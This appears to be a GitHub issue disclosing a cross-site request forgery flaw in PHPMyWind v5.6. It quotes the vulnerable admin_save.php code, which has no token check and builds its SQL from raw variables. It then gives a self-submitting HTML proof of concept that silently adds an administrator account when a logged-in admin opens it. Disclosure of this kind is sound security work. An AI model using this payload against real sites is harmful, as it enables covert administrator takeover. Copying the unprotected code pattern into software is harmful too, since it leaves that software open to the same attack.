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CSRF vulnerability exists in PHPMyWind v5.6 #9

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zhuxianjin opened this issue Oct 28, 2019 · 0 comments
Open

CSRF vulnerability exists in PHPMyWind v5.6 #9

zhuxianjin opened this issue Oct 28, 2019 · 0 comments

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@zhuxianjin
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Product Homepage: http://phpmywind.com/

Software link: https://github.com/gaozhifeng/PHPMyWind

Version: v5.6

The backend code writes the new user data to the database without authentication such as token

	if($dosql->GetOne("SELECT `id` FROM `$tbname` WHERE `username`='$username'"))
	{
		ShowMsg('用户名已存在！', '-1');
		exit();
	}


	$password  = md5(md5($password));
	$loginip   = '127.0.0.1';
	$logintime = time();

	$sql = "INSERT INTO `$tbname` (username, password, nickname, question, answer, levelname, checkadmin, loginip, logintime) VALUES ('$username', '$password', '$nickname', '$question', '$answer', '$levelname', '$checkadmin', '$loginip', '$logintime')";
	if($dosql->ExecNoneQuery($sql))
	{
		header("location:$gourl");
		exit();
	}

When the background administrator clicks the malicious link, the background will add an administrator user

PoC:

<html>
<body>
<form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST"> 
<html>
    <form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST">
      <input type="hidden" name="username" value="admincsrf" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="repassword" value="admin" />
      <input type="hidden" name="question" value="0" />
      <input type="hidden" name="answer" value="" />
      <input type="hidden" name="nickname" value="" />
      <input type="hidden" name="levelname" value="1" />
      <input type="hidden" name="checkadmin" value="true" />
      <input type="hidden" name="action" value="add" />
      <input type="submit" value="Submit request" />
</form> 
<script> 
    document.forms[0].submit();
</script>
</body>
</html>
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@zhuxianjin